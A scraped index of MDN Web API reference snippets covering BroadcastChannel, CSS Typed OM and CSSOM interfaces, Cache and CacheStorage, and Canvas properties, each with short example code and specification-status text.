BroadcastChannel.name - Web APIs
syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification.
... living standard initial definition.
BroadcastChannel.onmessage - Web APIs
'${ev.data}'`); }; specifications specification status comment html living standardthe definition of 'broadcastchannel.onmessage' in that specification.
... living standard initial definition.
BroadcastChannel.postMessage() - Web APIs
syntax var str = channel.postmessage(object); specifications specification status comment html living standardthe definition of 'broadcastchannel.postmessage()' in that specification.
... living standard initial definition.
BroadcastChannel - Web APIs
specifications specification status comment html living standardthe definition of 'broadcastchannel' in that specification.
... living standard initial definition.
Broadcast Channel API - Web APIs
specifications specification status comment html living standardthe definition of 'the broadcast channel api' in that specification.
... living standard initial definition.
BufferSource - Web APIs
specifications specification status comment web idlthe definition of 'buffersource' in that specification.
... candidate recommendation initial definition.
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification.
... living standard initial definition.
ByteLengthQueuingStrategy.size() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification.
... living standard initial definition.
ByteLengthQueuingStrategy - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification.
... living standard initial definition.
ByteString - Web APIs
specifications specification status comment web idlthe definition of 'bytestring' in that specification.
... candidate recommendation initial definition.
CSS.escape() - Web APIs
WebAPICSSescape
d can be used: var element = document.queryselector('#' + css.escape(id) + ' > img'); the escape() method can also be used for escaping strings, although it escapes characters that don't strictly need to be escaped: var element = document.queryselector('a[href="#' + css.escape(fragment) + '"]'); specification specification status comment css object model (cssom)the definition of 'css.escape()' in that specification.
... working draft initial definition ...
CSS numeric factory functions - Web APIs
g( height.unit ) // vmax in this example, we set the margin on our element using the css.px() factory function: myelement.attributestylemap.set('margin', css.px(40)); let currentmargin = myelement.attributestylemap.get('margin'); console.log(currentmargin.value, currentmargin.unit); // 40, 'px' specification specification status comment css object model (cssom)the definition of 'numeric factory functions' in that specification.
... working draft initial definition ...
CSS.paintWorklet (Static property) - Web APIs
WebAPICSSpaintWorklet
<script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
... working draft initial definition.
CSS.supports() - Web APIs
WebAPICSSsupports
ss.supports("display: flex"); result = css.supports("(--foo: red)"); result = css.supports(`(transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve)`); // result is true or false specification specification status comment css conditional rules module level 3the definition of 'css: supports()' in that specification.
... candidate recommendation initial definition.
CSSConditionRule - Web APIs
specifications specification status comment css conditional rules module level 3the definition of 'cssconditionrule' in that specification.
... candidate recommendation initial definition.
CSSCounterStyleRule - Web APIs
specifications specification status comment css counter styles level 3the definition of 'csscounterstylerule' in that specification.
... candidate recommendation initial definition.
CSSGroupingRule - Web APIs
specification specification status comment css object model (cssom)the definition of 'cssgroupingrule' in that specification.
... working draft initial definition.
CSSImageValue - Web APIs
ueryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('background-image') ); console.log( allcomputedstyles.get('background-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
... working draft initial definition.
CSSKeyframeRule - Web APIs
specification specification status comment css animationsthe definition of 'csskeyframerule' in that specification.
... working draft initial definition ...
CSSKeyframesRule - Web APIs
specification specification status comment css animationsthe definition of 'csskeyframesrule' in that specification.
... working draft initial definition ...
CSSKeywordValue.value - Web APIs
let indicator = document.getelementbyid('indicator'); indicator.attributestylemap.set('display', new csskeywordvalue('initial')); indicator.attributestylemap.get('display').value // 'initial' specifications specification status comment css typed om level 1the definition of 'undefined' in that specification.
... working draft initial definition.
CSSMathProduct.CSSMathProduct() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathproduct()' in that specification.
... working draft initial definition.
CSSMathProduct.values - Web APIs
specifications specification status comment css typed om level 1the definition of 'values' in that specification.
... working draft initial definition.
CSSMathProduct - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathproduct' in that specification.
... working draft initial definition.
CSSMathSum.CSSMathSum() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathsum()' in that specification.
... working draft initial definition.
CSSMathSum.values - Web APIs
WebAPICSSMathSumvalues
specifications specification status comment css typed om level 1the definition of 'values' in that specification.
... working draft initial definition.
CSSMathSum - Web APIs
t three lines as: console.log( stylemap.get('width').values[1] ); // cssmathnegate {value: cssunitvalue, operator: "negate"} console.log( stylemap.get('width').values[1].value ); // cssunitvalue {value: 20, unit: "px"} console.log( stylemap.get('width').values[1].value.unit ); // 'px' specifications specification status comment css typed om level 1the definition of 'cssmathsum' in that specification.
... working draft initial definition.
CSSMathValue.operator - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathvalue.operator' in that specification.
... working draft initial definition.
CSSMathValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathvalue' in that specification.
... working draft initial definition.
CSSNamespaceRule.namespaceURI - Web APIs
specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification.
... working draft initial definition.
CSSNamespaceRule.prefix - Web APIs
specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification.
... working draft initial definition.
CSSNamespaceRule - Web APIs
it has no specific methods: specification specification status comment css object model (cssom)the definition of 'cssnamespacerule' in that specification.
... working draft initial definition.
CSSNumericValue.add() - Web APIs
examples let mathsum = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); // prints "calc(23px + 4% + 3cm + 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'add' in that specification.
... working draft initial definition.
CSSNumericValue.div() - Web APIs
examples let mathproduct = css.px("24").div(css.percent("4")); // prints "calc(24px / 4%)" mathproduct.tostring(); specifications specification status comment css typed om level 1the definition of 'div' in that specification.
... working draft initial definition.
CSSNumericValue.equals() - Web APIs
= new cssmathsum(css.px(1), css.px(2)); // prints true console.log(cssmathsum.equals(matchingcssmathsum)); let othercssmathsum = cssmathsum(css.px(2), css.px(1)); // prints false console.log(cssmathsum.equals(othercssmathsum)); // also prints false console.log(css.cm("1").equal(css.in("0.393701"))); specifications specification status comment css typed om level 1the definition of 'equals' in that specification.
... working draft initial definition.
CSSNumericValue.max() - Web APIs
// prints "2cm" console.log(css.cm("1").max(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'max' in that specification.
... working draft initial definition.
CSSNumericValue.min() - Web APIs
// prints "1cm" console.log(css.cm("1").min(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'min' in that specification.
... working draft initial definition.
CSSNumericValue.mul() - Web APIs
examples let mathsum = css.px("23").mul(css.percent("4")).mul(css.cm("3")).mul(css.in("9")); // prints "calc(23px * 4% * 3cm * 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'mul' in that specification.
... working draft initial definition.
CSSNumericValue.parse() - Web APIs
let numvalue = cssnumericvalue.parse("42.0px"); specifications specification status comment css typed om level 1the definition of 'parse' in that specification.
... working draft initial definition.
CSSNumericValue.sub() - Web APIs
examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
... working draft initial definition.
CSSNumericValue.sum() - Web APIs
examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
... working draft initial definition.
CSSNumericValue.to() - Web APIs
examples // prints "0.608542cm" console.log(css.px("23").to("com").tostring()); specifications specification status comment css typed om level 1the definition of 'to' in that specification.
... working draft initial definition.
CSSNumericValue.toSum() - Web APIs
examples let v = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); v.tostring() // => "calc(23px + 4% + 3cm + 9in)" v.tosum("px", "percent").tostring() // => "calc(1000.39px + 4%)" specifications specification status comment css typed om level 1the definition of 'tosum' in that specification.
... working draft initial definition.
CSSNumericValue.type - Web APIs
examples let mathsum = css.px("23").sub(css.percent("4")).sub(css.cm("3")).sub(css.in("9")); // returns an object with the structure: {length: 1, percenthint: "length"} let cssnumerictype = mathsum.type(); specifications specification status comment css typed om level 1the definition of 'type' in that specification.
... working draft initial definition.
CSSNumericValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssnumericvalue' in that specification.
... working draft initial definition.
CSSOMString - Web APIs
implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification.
... working draft initial definition.
CSSPrimitiveValue.getCounterValue() - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getcountervalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.getFloatValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("margin-top"); console.log(cssvalue.getfloatvalue(cssprimitivevalue.css_cm)); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getfloatvalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.getRGBColorValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.getrgbcolorvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrgbcolorvalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.getRectValue() - Web APIs
example var cs = window.getcomputedstyle(document.getelementbyid("clippeddiv")); var cssvalue = cs.getpropertycssvalue("clip"); console.log(cssvalue.getrectvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrectvalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.getStringValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("display"); console.log(cssvalue.getstringvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getstringvalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.primitiveType - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.primitivetype); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.primitivetype' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.setFloatValue() - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.setfloatvalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue.setStringValue() - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.setstringvalue' in that specification.
... obsolete initial definition ...
CSSPrimitiveValue - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue' in that specification.
... obsolete initial definition ...
CSSPseudoElement.element - Web APIs
mentchild === csspseudoelement); // outputs false console.log(myelement.lastchild === csspseudoelement); // outputs false console.log(myelement.nextelementsibling === csspseudoelement); // outputs false console.log(myelement.nextsibling === csspseudoelement); // outputs false specifications specification status comment css pseudo-elements level 4the definition of 'element' in that specification.
... working draft initial definition.
CSSPseudoElement.type - Web APIs
csspseudoelement.type and element.pseudo(): const myelement = document.queryselector('q'); const myselector = '::after'; const csspseudoelement = myelement.pseudo(myselector); const typeofpseudoelement = csspseudoelement.type; console.log(myselector === typeofpseudoelement); // outputs true specifications specification status comment css pseudo-elements level 4the definition of 'type' in that specification.
... working draft initial definition.
CSSPseudoElement - Web APIs
const element = document.queryselector('q'); const csspseudoelement = element.pseudo('::before'); console.log(csspseudoelement.element); // outputs [object htmlquoteelement] console.log(csspseudoelement.type); // outputs '::before' specifications specification status comment css pseudo-elements level 4the definition of 'csspseudoelement' in that specification.
... working draft initial definition.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
example the following javascript code checks whether margin is marked as important in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var isimportant = declaration.getpropertypriority('margin') === 'important'; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertypriority()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.getPropertyValue() - Web APIs
example the following javascript code queries the value of the margin property in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var value = declaration.getpropertyvalue('margin'); // "1px 2px" specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertyvalue()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.item() - Web APIs
javascript has a special simpler syntax for obtaining an item from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second style listed specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.item()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.length - Web APIs
wing gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px; background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.parentRule - Web APIs
example the following javascript code gets the parent css style rule from a cssstyledeclaration: var declaration = document.stylesheets[0].rules[0].style; var rule = declaration.parentrule; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.parentrule' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
example the following javascript code removes the background-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.setProperty() - Web APIs
); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', setrandomborder); bgcolorbtn.addeventlistener('click', setrandombgcolor); colorbtn.addeventlistener('click', setrandomcolor); result specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.setproperty()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleRule.styleMap - Web APIs
specifications specification status comment css typed om level 1the definition of 'stylemap' in that specification.
... working draft initial definition.
CSSStyleRule - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylerule' in that specification.
... working draft no changes document object model (dom) level 2 style specificationthe definition of 'cssrule' in that specification.
CSSStyleValue.parse() - Web APIs
const css = cssstylevalue.parse( 'transform', 'translate3d(10px,10px,0) scale(0.5)'); csstransformvalue {0: csstranslate, 1: cssscale, length: 2, is2d: false} specifications specification status comment css typed om level 1the definition of 'parse()' in that specification.
... working draft initial definition.
CSSStyleValue.parseAll() - Web APIs
specifications specification status comment css typed om level 1the definition of 'parseall()' in that specification.
... working draft initial definition.
CSSStyleValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssstylevalue' in that specification.
... working draft initial definition.
CSSSupportsRule - Web APIs
specification specification status comment css conditional rules module level 3the definition of 'csssupportsrule' in that specification.
... candidate recommendation initial definition ...
CSSUnitValue.CSSUnitValue() - Web APIs
let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
... working draft initial definition.
CSSUnitValue.unit - Web APIs
WebAPICSSUnitValueunit
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "em" )); console.log( pos.x.unit ); // "px" console.log( pos.y.unit ); // "em" specifications specification status comment css typed om level 1the definition of 'cssunitvalue.unit' in that specification.
... working draft initial definition.
CSSUnitValue.value - Web APIs
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "px" )); console.log( pos.x.value ); // 5 console.log( pos.y.value ); // 10 specifications specification status comment css typed om level 1the definition of 'cssunitvalue.value' in that specification.
... working draft initial definition.
CSSUnitValue - Web APIs
let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
... working draft initial definition.
CSSUnparsedValue.CSSUnparsedValue() - Web APIs
examples let value = new cssunparsedvalue( ['4deg'] ), values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( value ); // cssunparsedvalue {0: "4deg", length: 1} console.log( values ); // cssunparsedvalue {0: "1em", 1: "#445566", 2: "-45px", length: 3} specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification.
... working draft initial definition.
CSSUnparsedValue.entries() - Web APIs
specifications specification status comment css typed om level 1the definition of 'entries()' in that specification.
... working draft initial definition.
CSSUnparsedValue.forEach() - Web APIs
specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
... working draft initial definition.
CSSUnparsedValue.keys() - Web APIs
specifications specification status comment css typed om level 1the definition of 'keys()' in that specification.
... working draft initial definition.
CSSUnparsedValue.length - Web APIs
examples in this example we employ the cssunparsedvalue.cssunparsedvalue() constructor, then query the length: let values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( values.length ) // 3 specifications specification status comment css typed om level 1the definition of 'length' in that specification.
... working draft initial definition.
CSSUnparsedValue.values() - Web APIs
specifications specification status comment css typed om level 1the definition of 'values()' in that specification.
... working draft initial definition.
CSSUnparsedValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification.
... working draft initial definition.
CSSValue.cssText - Web APIs
WebAPICSSValuecssText
example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.csstext); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.csstext' in that specification.
... obsolete initial definition ...
CSSValue.cssValueType - Web APIs
example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.cssvaluetype); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.cssvaluetype' in that specification.
... obsolete initial definition ...
CSSValue - Web APIs
WebAPICSSValue
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue' in that specification.
... obsolete initial definition ...
CSSValueList.item() - Web APIs
WebAPICSSValueListitem
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvaluelist.item' in that specification.
... obsolete initial definition ...
CSSValueList.length - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvaluelist.length' in that specification.
... obsolete initial definition ...
CSSValueList - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalueslist' in that specification.
... obsolete initial definition ...
CSSVariableReferenceValue() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssvariablereferencevalue()' in that specification.
... working draft initial definition.
CSSVariableReferenceValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssvariablereferencevalue' in that specification.
... working draft initial definition.
Cache.add() - Web APIs
WebAPICacheadd
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add('/sw-test/index.html'); }) ); }); specifications specification status comment service workersthe definition of 'cache: add' in that specification.
... working draft initial definition.
Cache.addAll() - Web APIs
WebAPICacheaddAll
est/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'cache: addall' in that specification.
... working draft initial definition.
Cache.delete() - Web APIs
WebAPICachedelete
examples caches.open('v1').then(function(cache) { cache.delete('/images/image.png').then(function(response) { someuiupdatefunction(); }); }) specifications specification status comment service workersthe definition of 'cache: delete' in that specification.
... working draft initial definition.
Cache.keys() - Web APIs
WebAPICachekeys
examples caches.open('v1').then(function(cache) { cache.keys().then(function(keys) { keys.foreach(function(request, index, array) { cache.delete(request); }); }); }) specifications specification status comment service workersthe definition of 'cache: keys' in that specification.
... working draft initial definition.
Cache.match() - Web APIs
WebAPICachematch
vent.request.url); event.respondwith( fetch(event.request).catch(function(e) { console.error('fetch failed; returning offline page instead.', e); return caches.open(offline_cache).then(function(cache) { return cache.match(offline_url); }); }) ); } }); specifications specification status comment service workersthe definition of 'cache match' in that specification.
... working draft initial definition.
Cache.matchAll() - Web APIs
WebAPICachematchAll
examples caches.open('v1').then(function(cache) { cache.matchall('/images/').then(function(response) { response.foreach(function(element, index, array) { cache.delete(element); }); }); }) specifications specification status comment service workersthe definition of 'cache: matchall' in that specification.
... working draft initial definition.
Cache.put() - Web APIs
WebAPICacheput
event.request).catch(function() { return fetch(event.request); }).then(function(r) { response = r; caches.open('v1').then(function(cache) { cache.put(event.request, response); }); return response.clone(); }).catch(function() { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); specifications specification status comment service workersthe definition of 'cache: put' in that specification.
... working draft initial definition.
Cache - Web APIs
WebAPICache
specifications specification status comment service workersthe definition of 'cache' in that specification.
... working draft initial definition.
CacheStorage.delete() - Web APIs
ntlistener('activate', function(event) { var cachestokeep = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachestokeep.indexof(key) === -1) { return caches.delete(key); } })); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: delete' in that specification.
... working draft initial definition.
CacheStorage.has() - Web APIs
WebAPICacheStoragehas
}); specifications specification status comment service workersthe definition of 'cachestorage: has' in that specification.
... working draft initial definition.
CacheStorage.keys() - Web APIs
WebAPICacheStoragekeys
istener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachewhitelist.indexof(key) === -1) { return caches.delete(key); } }); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: keys' in that specification.
... working draft initial definition.
CacheStorage.match() - Web APIs
let responseclone = response.clone(); caches.open('v1').then(function (cache) { cache.put(event.request, responseclone); }); return response; }).catch(function () { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); } })); }); specifications specification status comment service workersthe definition of 'cachestorage: match' in that specification.
... working draft initial definition.
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); specifications specification status comment service workersthe definition of 'cachestorage: open' in that specification.
... working draft initial definition.
CanvasCaptureMediaStreamTrack.canvas - Web APIs
// obtain the canvas associated with the stream var canvas = stream.canvas; specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastreamtrack.canvas' in that specification.
... working draft initial definition ...
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
example // find the canvas element to capture var canvaselt = document.getelementsbytagname("canvas")[0]; // get the stream var stream = canvaselt.capturestream(25); // 25 fps // send the current state of the canvas as a frame to the stream stream.getvideotracks()[0].requestframe(); specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastream.requestframe()' in that specification.
... working draft initial definition ...
CanvasCaptureMediaStreamTrack - Web APIs
specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastreamtrack' in that specification.
... working draft initial definition ...
CanvasImageSource - Web APIs
the interfaces that it allows to be used as image sources are the following: htmlimageelement svgimageelement htmlvideoelement htmlcanvaselement imagebitmap offscreencanvas specifications specification status comment html living standardthe definition of 'canvasimagesource' in that specification.
... living standard initial definition.
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
'blue' : 'black'; ctx.filltext(el.textcontent, x + width / 2, y + height / 2); // define clickable area ctx.beginpath(); ctx.rect(x, y, width, height); // draw focus ring, if appropriate ctx.drawfocusifneeded(el); } result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.drawfocusifneeded' in that specification.
... living standard initial definition ...
CanvasRenderingContext2D.globalAlpha - Web APIs
values outside that range, including infinity and nan, will not be set, and globalalpha will retain its previous value.
...); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw transparent circles for (let i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalalpha' in that specification.
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe definition of 'imagesmoothingquality' in that specification.
... living standard initial definition.
CanvasRenderingContext2D.lineWidth - Web APIs
zero, negative, infinity, and nan values are ignored.
... specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linewidth' in that specification.
CanvasRenderingContext2D.miterLimit - Web APIs
zero, negative, infinity, and nan values are ignored.
... eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.miterlimit' in that specification.
CanvasRenderingContext2D.putImageData() - Web APIs
errors thrown notsupportederror thrown if any of the arguments is infinite.
...; context.putimagedata(imgdata, 0, 0); const imgdata2 = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels2 = imgdata2.data; console.log("after:", pixels2); the output might look like: before: uint8clampedarray(4) [ 1, 127, 255, 1 ] after: uint8clampedarray(4) [ 255, 255, 255, 1 ] specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.putimagedata' in that specification.
CanvasRenderingContext2D.setTransform() - Web APIs
the newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a dommatrixinit object; any object will do as long as it contains the above components as properties).
...onst ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.settransform' in that specification.
CanvasRenderingContext2D.shadowBlur - Web APIs
negative, infinity, and nan values are ignored.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowblur = 15; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowblur' in that specification.
CanvasRenderingContext2D.shadowOffsetX - Web APIs
infinity and nan values are ignored.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowoffsetx' in that specification.
CanvasRenderingContext2D.shadowOffsetY - Web APIs
infinity and nan values are ignored.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsety = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 80); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowoffsety' in that specification.
Manipulating video using canvas - Web APIs
initializing the chroma-key player the doload() method is called when the xhtml document initially loads.
... the timer callback the timer callback is called initially when the video starts playing (when the "play" event occurs), then takes responsibility for establishing itself to be called periodically in order to launch the keying effect for each frame.
Drawing shapes with canvas - Web APIs
when the canvas is initialized or beginpath() is called, you typically will want to use the moveto() function to place the starting point somewhere else.
